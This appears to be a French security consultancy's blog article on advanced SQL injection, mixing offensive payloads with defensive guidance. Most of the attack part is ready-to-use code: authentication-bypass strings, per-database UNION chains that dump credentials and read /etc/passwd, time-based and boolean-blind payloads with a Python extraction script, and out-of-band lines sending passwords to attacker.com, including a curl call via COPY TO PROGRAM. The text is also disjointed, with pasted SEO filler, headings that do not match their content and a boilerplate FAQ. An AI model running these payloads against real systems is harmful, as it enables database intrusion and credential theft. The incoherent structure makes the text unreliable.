AYI NEDJIMI Consultants

Injection SQL Avancée : De la Détection à l'Exploitation

Catégorie : Techniques de Hacking Lecture : 6 min Publié le : 08/03/2026 Auteur : Ayi NEDJIMI

Guide complet de l'injection SQL avancée : Union-based, Blind, Time-based, Out-of-Band, Second-Order, bypass WAF, SQLMap avancé et contre-mesures.

Avertissement : Les techniques présentées dans cet article sont destinées exclusivement à des fins éducatives et de tests autorisés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.

2.1 Rappel des principes fondamentaux

Une injection SQL se produit lorsqu'une entrée utilisateur non assainie est insérée directement dans une requête SQL. Le principe fondamental repose sur la rupture du contexte syntaxique : l'attaquant injecte des caractères spéciaux (guillemets, tirets, points-virgules) qui modifient la structure logique de la requête. Prenons un exemple classique d'authentification vulnérable : Guide complet de l'injection SQL avancée : Union-based, Blind, Time-based, Out-of-Band, Second-Order, bypass WAF, SQLMap avancé et contre-mesures. Les techniques offensives évoluent rapidement : injection sql avancee detection exploitation fait partie des compétences essentielles que tout pentester et red teamer doit maîtriser pour mener des missions réalistes. Nous abordons notamment : questions frequentes, 9. conclusion : l'injection sql en perspective. Les professionnels y trouveront des recommandations actionnables, des commandes prêtes à l'emploi et des stratégies de mise en œuvre adaptées aux environnements d'entreprise.

```
-- Requête vulnérable (PHP)
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password =
'" . $_POST['pass'] . "'";

-- Payload d'authentification bypass
' OR '1'='1' --
' OR '1'='1' /*
' OR 1=1 #
admin'--
```

Au-delà de ce cas trivial, la compréhension des différents contextes d'injection est essentielle pour un pentesteur efficace. Les injections ne se limitent pas aux clauses `WHERE` : elles peuvent se produire dans de nombreux points de la syntaxe SQL.

2.2 Contextes d'injection multiples

Contexte SQL	Exemple vulnérable	Payload type
WHERE (string)	`WHERE name = '$input'`	`' OR 1=1--`
WHERE (numérique)	`WHERE id = $input`	`1 OR 1=1`
INSERT INTO	`VALUES ('$input', ...)`	`val'), ('admin','hash')--`
UPDATE SET	`SET col = '$input'`	`val', admin=1 WHERE user='victim'--`
ORDER BY	`ORDER BY $input`	`(CASE WHEN 1=1 THEN col1 ELSE col2 END)`
LIMIT/OFFSET	`LIMIT $input`	`1 UNION SELECT ...`
Table/Column name	`SELECT * FROM $input`	`users; DROP TABLE logs--`
GROUP BY	`GROUP BY $input`	`col UNION SELECT ...`

2.3 Différences syntaxiques entre SGBD

Chaque système de gestion de base de données possède ses spécificités syntaxiques que le pentesteur doit maîtriser. Ces différences impactent directement les payloads utilisables et les techniques d'exploitation. Voici les particularités essentielles des cinq SGBD les plus rencontrés en audit :

Fonctionnalité	MySQL	PostgreSQL	MSSQL	Oracle
Commentaires	`# -- /**/`	`-- /**/`	`-- /**/`	`-- /**/`
Concaténation	`CONCAT(a,b)`	`a||b`	`a+b`	`a||b`
Substring	`SUBSTR()`	`SUBSTRING()`	`SUBSTRING()`	`SUBSTR()`
Version	`@@version`	`version()`	`@@version`	`SELECT banner FROM v$versio`
Tables système	`information_schema`	`information_schema`	`information_schema / sysobjects`	`ALL_TABLES`
Sleep	`SLEEP(n)`	`pg_sleep(n)`	`WAITFOR DELAY '0:0:n'`	`DBMS_PIPE.RECEIVE_MESSAGE('x`
Stacked queries	Selon driver	Oui	Oui	Non (PL/SQL)

L'identification du SGBD cible constitue l'une des premières étapes d'exploitation. On peut l'identifier via les messages d'erreur, les fonctions spécifiques (un `@@version` qui fonctionne indique MySQL ou MSSQL), ou via des comportements différenciés (le commentaire `#` n'est valide que sous MySQL). Pour approfondir les techniques d'attaques sur différents types de bases de données, consultez notre article sur les attaques de bases de données SQL, NoSQL et GraphQL.

L'extraction suit une méthodologie structurée : identifier le SGBD, lister les bases de données, les tables, les colonnes, puis extraire les données sensibles. Voici le processus complet pour chaque SGBD majeur :

MySQL - Exploitation via information_schema

```
-- 1. Identifier la version et l'utilisateur courant
' UNION SELECT NULL,@@version,user(),database()--

-- 2. Lister toutes les bases de données
' UNION SELECT NULL,GROUP_CONCAT(schema_name SEPARATOR 0x0a),NULL,NULL
  FROM information_schema.schemata--

-- 3. Lister les tables d'une base spécifique
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR 0x0a),NULL,NULL
  FROM information_schema.tables
  WHERE table_schema='target_db'--

-- 4. Lister les colonnes d'une table
' UNION SELECT NULL,GROUP_CONCAT(column_name SEPARATOR 0x0a),NULL,NULL
  FROM information_schema.columns
  WHERE table_name='users' AND table_schema='target_db'--

-- 5. Extraire les credentials
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL
  FROM target_db.users--

-- 6. Lire des fichiers sur le serveur (si FILE privilege)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL--
```

PostgreSQL - Exploitation

```
-- 1. Version et utilisateur
' UNION SELECT NULL,version(),current_user,NULL--

-- 2. Lister les bases
' UNION SELECT NULL,datname,NULL,NULL FROM pg_database--

-- 3. Lister les tables
' UNION SELECT NULL,table_name,NULL,NULL
  FROM information_schema.tables
  WHERE table_schema='public'--

-- 4. Extraire les données
' UNION SELECT NULL,string_agg(username||':'||password, chr(10)),NULL,NULL
  FROM users--

-- 5. Lire des fichiers (superuser requis)
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL,NULL--
```

Microsoft SQL Server - Exploitation

```
-- 1. Version et utilisateur
' UNION SELECT NULL,@@version,SYSTEM_USER,NULL--

-- 2. Lister les bases
' UNION SELECT NULL,name,NULL,NULL FROM master..sysdatabases--

-- 3. Lister les tables
' UNION SELECT NULL,name,NULL,NULL FROM target_db..sysobjects WHERE xtype='U'--

-- 4. Lister les colonnes
' UNION SELECT NULL,name,NULL,NULL FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')--

-- 5. Extraire les hash de mots de passe (si sysadmin)
' UNION SELECT NULL,name+':'+CONVERT(VARCHAR,password_hash,1),NULL,NULL
  FROM sys.sql_logins--
```

La technique Union-based reste la plus efficace pour l'extraction de grands volumes de données, car chaque requête peut retourner plusieurs lignes. Cependant, elle nécessite que le résultat de la requête soit reflété dans la réponse HTTP, ce qui n'est pas toujours le cas. Lorsque les données ne sont pas directement visibles, il faut recourir aux techniques d'injection aveugle (blind).

Vos équipes savent-elles réagir face à une intrusion en cours ?

```
-- MySQL : SLEEP()
' AND IF(1=1, SLEEP(5), 0)--                    -- Délai de 5s si VRAI
' AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(5), 0)--

-- PostgreSQL : pg_sleep()
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
' AND (SELECT CASE WHEN ASCII(SUBSTRING(current_user,1,1))>96
  THEN pg_sleep(5) ELSE pg_sleep(0) END)='1'--

-- MSSQL : WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>96) WAITFOR DELAY '0:0:5'--

-- Oracle : DBMS_PIPE.RECEIVE_MESSAGE
' AND 1=(CASE WHEN (1=1) THEN
  DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)--

-- MySQL alternative : BENCHMARK()
' AND IF(1=1, BENCHMARK(10000000, SHA1('test')), 0)--
```

4.3 Automatisation avec Python

L'extraction manuelle caractère par caractère est extrêmement fastidieuse. En pratique, on automatise le processus avec des scripts Python. Voici un script illustrant l'extraction Boolean-based avec recherche binaire :

```
import requests
import string
import sys

URL = "http://target.com/search"
TRUE_INDICATOR = "résultats trouvés"  # Texte présent quand condition VRAIE

def check_condition(payload):
    """Teste si la condition SQL injectée est VRAIE."""
    params = {"q": f"test' AND {payload}-- -"}
    resp = requests.get(URL, params=params, timeout=10)
    return TRUE_INDICATOR in resp.text

def extract_char(query, position):
    """Extrait un caractère par recherche binaire (7 requêtes max)."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
        if check_condition(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else None

def extract_string(query, max_length=100):
    """Extrait une chaîne complète."""
    result = ""
    for i in range(1, max_length + 1):
        char = extract_char(query, i)
        if char is None:
            break
        result += char
        sys.stdout.write(f"\r[*] Extraction: {result}")
        sys.stdout.flush()
    print()
    return result

# Exemple d'utilisation
db_name = extract_string("SELECT database()")
print(f"[+] Base de données: {db_name}")

tables = extract_string(
    "SELECT GROUP_CONCAT(table_name) "
    "FROM information_schema.tables "
    "WHERE table_schema=database()"
)
print(f"[+] Tables: {tables}")
```

4.4 Benchmark : performance des techniques blind

Le nombre de requêtes nécessaires est un facteur critique en blind SQLi, notamment pour rester sous le radar des systèmes de détection. Voici un comparatif des performances selon les techniques :

```
-- MSSQL : xp_dirtree (DNS exfiltration)
'; DECLARE @data VARCHAR(1024);
  SELECT @data = (SELECT TOP 1 username+':'+password FROM users);
  EXEC master..xp_dirtree '\\' + @data + '.attacker.com\share'--

-- MSSQL : xp_fileexist
'; EXEC xp_fileexist '\\data.attacker.com\share'--

-- MySQL : LOAD_FILE + DNS (Windows uniquement)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT password FROM users WHERE username='admin'),
  '.attacker.com\\share'))--

-- MySQL : INTO OUTFILE + HTTP (via webhooks)
' UNION SELECT username,password INTO OUTFILE '/var/www/html/dump.txt'
  FROM users--

-- Oracle : UTL_HTTP.REQUEST
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||
  (SELECT username||':'||password FROM users WHERE ROWNUM=1))
  FROM DUAL--

-- Oracle : UTL_INADDR.GET_HOST_ADDRESS (DNS)
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(
  (SELECT username FROM users WHERE ROWNUM=1)||'.attacker.com')
  FROM DUAL--

-- PostgreSQL : dblink (si extension installée)
' UNION SELECT dblink_connect('host=attacker.com dbname='||
  (SELECT current_user)||' user=x password=x')--

-- PostgreSQL : COPY TO PROGRAM (superuser)
'; COPY (SELECT username||':'||password FROM users)
  TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat)'--
```

5.3 Second-Order Injection

L'injection de second ordre est particulièrement insidieuse et souvent négligée par les outils d'analyse automatisée. Le principe : le payload malveillant est stocké en base de données lors d'une première interaction (par exemple, lors de l'inscription), puis déclenché lors d'une seconde opération qui utilise cette donnée stockée sans la re-valider. C'est un vecteur fréquent dans les applications qui utilisent des CMS comme WordPress avec des plugins mal sécurisés.

```
-- Étape 1 : Inscription avec payload dans le nom d'utilisateur
Username: admin'--
Password: anything
Email: attacker@evil.com

-- Le nom est stocké proprement dans la base (échappé à l'INSERT)
INSERT INTO users (username, password, email)
VALUES ('admin''--', 'hashed_pwd', 'attacker@evil.com')

-- Étape 2 : Fonctionnalité "changer de mot de passe"
-- Le backend récupère le username depuis la base et l'utilise
-- dans une nouvelle requête SANS l'échapper :
UPDATE users SET password='new_hash'
WHERE username='admin'--'
-- Résultat : le mot de passe de 'admin' est modifié !

-- Autre exemple : profil utilisateur affiché
SELECT * FROM profiles WHERE username='admin'--'
-- Affiche le profil de l'admin au lieu de l'attaquant
```

Les ORM (Object-Relational Mapping) comme Hibernate, Django ORM, SQLAlchemy ou ActiveRecord protègent contre les SQLi dans la plupart des cas d'usage. Cependant, ils présentent des pièges lorsque les développeurs utilisent des requêtes brutes (raw queries), des interpolations de chaînes, ou des fonctionnalités avancées sans précaution :

```
# Django ORM - Pièges courants

# SÉCURISÉ : queryset natif
User.objects.filter(username=username)

# VULNÉRABLE : raw query avec formatage
User.objects.raw(f"SELECT * FROM users WHERE name = '{username}'")

# SÉCURISÉ : raw query avec paramètres
User.objects.raw("SELECT * FROM users WHERE name = %s", [username])

# VULNÉRABLE : extra() avec interpolation
User.objects.extra(where=[f"name = '{username}'"])

# SÉCURISÉ : extra() avec paramètres
User.objects.extra(where=["name = %s"], params=[username])

# ATTENTION : order_by avec entrée utilisateur non validée
# VULNÉRABLE si sort_field vient de l'utilisateur sans whitelist
User.objects.order_by(sort_field)

# SÉCURISÉ : whitelist des champs autorisés
ALLOWED_SORT = {'username', 'email', 'created_at', '-created_at'}
if sort_field in ALLOWED_SORT:
    User.objects.order_by(sort_field)
```

8.3 Validation des entrées et principe du moindre privilège

Checklist de défense contre les injections SQL

- **Requêtes paramétrées** : utiliser systématiquement les prepared statements pour toutes les interactions avec la base de données, sans exception.

- **Validation par whitelist** : pour les identifiants dynamiques (noms de tables, colonnes, ORDER BY), valider contre une liste blanche stricte. Ne jamais accepter d'entrée utilisateur directe dans ces contextes.
- **Moindre privilège DB** : l'utilisateur de base de données utilisé par l'application ne doit avoir que les permissions strictement nécessaires. Pas de `FILE` privilege, pas de `SUPER`, pas d'accès à `xp_cmdshell`, pas de `GRANT`. Séparer les utilisateurs en lecture et écriture si possible.
- **Échappement complémentaire** : bien que non suffisant seul, l'échappement des caractères spéciaux (`mysql_real_escape_string`, `pg_escape_string`) sert de couche supplémentaire.
- **Procédures stockées sécurisées** : si des procédures stockées sont utilisées, elles doivent elles-mêmes utiliser des requêtes paramétrées en interne. Une procédure qui construit du SQL dynamique est tout aussi vulnérable.
- **WAF comme couche additionnelle** : déployer un WAF (ModSecurity, Cloudflare, AWS WAF) avec des règles SQL injection. Un WAF ne remplace jamais le code sécurisé mais ajoute une couche de détection et de blocage.
- **Monitoring et alerting** : surveiller les logs SQL pour détecter les patterns d'injection (requêtes avec `UNION SELECT`, `SLEEP()`, `OR 1=1`). Intégrer dans le SIEM avec des règles de corrélation.
- **Tests réguliers** : intégrer des tests de sécurité automatisés (SAST/DAST) dans le pipeline CI/CD. Effectuer des tests de pénétration manuels réguliers.

8.4 Règles WAF et détection SIEM

La mise en place de règles de détection au niveau du WAF et du SIEM permet de détecter les tentatives d'injection SQL en temps réel. Voici des exemples de règles ModSecurity et de requêtes SIEM pour identifier les comportements suspects :

```
# ModSecurity - Règles personnalisées SQLi
SecRule ARGS "@rx (?i)(union\s+select|select\s+.*\s+from|insert\s+into|delete\s+from|
drop\s+table|update\s+.*\s+set)" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} in %{MATCHED_VAR_NAME}',\
    tag:'attack-sqli',severity:'CRITICAL'"

# Bloquer les fonctions dangereuses
SecRule ARGS "@rx (?i)(sleep\s*\(|benchmark\s*\(|waitfor\s+delay|pg_sleep|load_file|
into\s+(out|dump)file|xp_cmdshell)" \
    "id:1002,phase:2,deny,status:403,msg:'SQL Injection - Dangerous Function'"
```

```
# Splunk - Détection de tentatives SQLi
index=web_logs
  (uri_query="*UNION*SELECT*" OR uri_query="*OR+1=1*"
   OR uri_query="*SLEEP(*" OR uri_query="*WAITFOR*DELAY*"
   OR uri_query="*information_schema*" OR uri_query="*xp_cmdshell*")
| stats count by src_ip, uri_path, uri_query
| where count > 5
| sort -count

# Elastic SIEM - Rule pour détection SQLi
{
  "rule": {
    "name": "SQL Injection Attempt",
    "query": "url.query:(*UNION* AND *SELECT*) OR url.query:(*OR* AND *1=1*)",
    "severity": "high",
    "type": "query",
    "index": ["filebeat-*"]
  }
}
```

Pour aller plus loin dans la sécurisation des API qui interagissent avec les bases de données, consultez notre guide sur les attaques API GraphQL et REST qui couvre les vecteurs d'injection spécifiques aux architectures API modernes.

Pour approfondir ce sujet, consultez notre outil open-source exploit-framework-python qui facilite le développement et le test d'exploits.

Questions frequentes

Comment déployer Injection SQL Avancée dans un environnement de production ?

La mise en œuvre de Injection SQL Avancée en production necessite une planification rigoureuse, incluant l'evaluation des prerequis techniques, la definition d'une architecture cible, des tests de validation approfondis et un plan de deploiement progressif avec des points de controle a chaque etape.

Pourquoi Injection SQL Avancée est-il essentiel pour la securite des systemes d'information ?

Injection SQL Avancée constitue un element fondamental de la securite des systemes d'information car il permet de reduire significativement la surface d'attaque, d'ameliorer la detection des menaces et de renforcer la posture globale de securite de l'organisation face aux cybermenaces actuelles.

Cette technique Injection SQL Avancée : De la Détection à l'Exploitation est-elle utilisable dans un pentest autorisé ?

Oui, à condition d'avoir une lettre de mission signée définissant le périmètre, les horaires et les techniques autorisées. Documentez chaque action et restez dans le scope défini.

Sources et références : MITRE ATT&CK · OWASP Testing Guide

Articles connexes

- Red Team vs Pentest vs Bug Bounty : Comparatif Complet

> Points clés à retenir
>
> - Questions frequentes
> - 9. Conclusion : l'injection SQL en perspective

9. Conclusion : l'injection SQL en perspective

L'injection SQL reste, en 2026, l'une des vulnérabilités les plus dangereuses et les plus exploitées dans le secteur de la sécurité applicative. Malgré l'existence de contre-mesures efficaces et largement documentées depuis plus de vingt ans, de nouvelles applications vulnérables sont déployées quotidiennement. Ce paradoxe s'explique par plusieurs facteurs : la pression des délais de livraison, le manque de formation en sécurité des développeurs, l'utilisation de code legacy non maintenu, et la complexité croissante des architectures applicatives modernes.

Les techniques avancées explorées dans cet article -- de l'injection Union-based à l'exfiltration Out-of-Band, en passant par les injections de second ordre et le bypass de WAF -- illustrent la diversité et la sophistication des vecteurs d'attaque disponibles pour un pentesteur compétent. Un WAF, même correctement configuré, ne peut pas remplacer un code sécurisé utilisant systématiquement des requêtes paramétrées. La défense en profondeur reste le seul modèle viable.

Pour les professionnels de la sécurité offensive, la maîtrise des injections SQL avancées est une compétence fondamentale qui s'étend bien au-delà du simple `' OR 1=1--`. La capacité à identifier et exploiter des injections dans des contextes variés (ORDER BY, INSERT, second-order), à contourner des protections (WAF, filtres applicatifs), et à maximiser l'impact (RCE, exfiltration) distingue le pentesteur junior de l'expert. SQLMap est un outil puissant, mais sa maîtrise passe par la compréhension profonde des mécanismes sous-jacents.

Pour les équipes de défense, la priorité absolue reste l'utilisation systématique de requêtes paramétrées, combinée au principe du moindre privilège pour les comptes de base de données, à une validation stricte par whitelist des entrées non paramétrables (identifiants de colonnes, directions de tri), et à un monitoring continu des patterns d'injection dans les logs applicatifs et WAF. L'intégration de tests de sécurité automatisés (SAST, DAST) dans les pipelines CI/CD permet de détecter les régressions avant le déploiement en production.

Références et ressources externes

- OWASP SQL Injection -- Guide de référence OWASP sur les injections SQL
- CWE-89 -- Improper Neutralization of Special Elements used in an SQL Command
- PortSwigger SQL Injection -- Labs et ressources d'apprentissage pratiques
- SQLMap -- Outil open source de détection et d'exploitation SQLi

- OWASP Cheat Sheet SQLi Prevention -- Guide de prévention des injections SQL
- MITRE ATT&CK T1190 -- Exploit Public-Facing Application

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr